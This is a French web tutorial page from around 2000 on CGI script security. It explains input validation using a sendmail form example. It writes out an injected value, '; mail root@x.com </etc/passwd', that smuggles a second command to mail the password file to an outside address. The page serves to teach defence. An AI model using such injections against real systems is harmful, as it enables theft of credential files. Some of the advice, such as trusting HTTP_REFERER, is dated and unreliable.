FTLS.org 
Francais     English
 
 
Accueil
 
 Linux
Introduction
Liens
 
 Initiation
Internet
HTML
CGI
Perl
 
 Archives
Java
Perl Tools
Scripts CGI
Scripts PHP
 
 Calculatrices
HP 48
TI 92
 
 Gratuit du Net
A Gratuit
Comparatifs
Se divertir
 
 Aide Webmasters
Trucs & Astuces
JavaScript
 
 Site
Partenaires
Contact
 
 Powered by
linux
 

Initiation


Introduction au CGI (Common Gateway Interface)



8. Sécurité

    L'utilisation de scripts ou programmes CGI amène un certain nombre de questions relatives à la sécurité du système hôte du serveur web considéré. C'est souvent pour cette raison que la plupart des fournisseurs d'accès interdisent leurs utilisations.

    Etant donné qu'un programme CGI est un exécutable, son utilisation correspond à laisser n'importe qui exécuter un programme sur votre ordinateur. Même si il est généralement exécuté avec des droits limités (login nobody) il est possible d'avoir accès à certains fichiers sensibles comme par exemple le célèbre /etc/passwd (fichier contenant les mots de passe crypté des utilisateurs). Un CGI mal écrit pourrait permettre à un utilisateur mal intentionné de récupérer ce dit fichier en vue d'y extraire les mots de passe des utilisateurs...

    Prenons l'exemple très classique d'un script sous UNIX qui envoie le contenu d'un formulaire par mail, en utilisant le programme sendmail. A un moment du script, on exécute la commande suivante.

sendmail $DESTINATAIRE.

    La variable DESTINATAIRE contiendrait l'adresse E-MAIL à laquelle on désire envoyer les données du formulaire. Si la valeur est récupérée via un champ caché du formulaire ont peut aisément récupéré la page contenant le formulaire, l'éditer en local en ajoutant '; mail root@x.com </etc/passwd' après l'adresse, ce qui équivaut à lancer la commande suivant : 'sendmail webmaster@abc.com; mail root@x.com </etc/passwd'.
    Le script va donc exécuter normalement l'envoi du formulaire à l'adresse prévue. Mais aussi exécuter la commande mail permettant d'envoyer le fameux fichier /etc/passwd à l'adresse indiquée...

Comment ce protéger ce genre de problème ?

    Pour ce protéger de ce genre de problème, il suffit tous simplement de vérifier la validité des informations reçues du client avant de faire l'envoie, par exemple une E-Mail ne peut contenir le caractère point-virgule, ni d'espace...


    Il faut s'assurerez, qu'un CGI ne puisse pas planter quoi qu'il reçoive d'un client... Un autre exemple classique est d'envoyer plus de données que prévues dans un programme. Un plantage peut en effet remettre en cause l'intégrité du système hôte.

    De plus il est possible de vérifier grâce à la variable 'HTTP_REFERER' si la requête vient bien de votre site web et non d'une adresse inconnue...

    L'exemple précédent est un cas d'école. Mais dans des scripts CGI plus compliqué, il est plus délicat de repérer des éventuels risques en matière de sécurité. En général, il éviter le plus possible de faire des appels à une commande système (via la fonction system() par exemple), ainsi que d'écrire des script Shell a moins que vous soyez un spécialiste...

    Une autre manière de ce protéger et d'éviter que les éventuels utilisateurs mal intentionné puissent accéder à vos sources afin de les étudier et de déceler la présence d'un trou de sécurité...



 
© Copyright 2000 FTLS (Tyndiuk Frédéric). All rights reserved.
Last Update 08/03/2000 - Send all comments to webmaster@ftls.org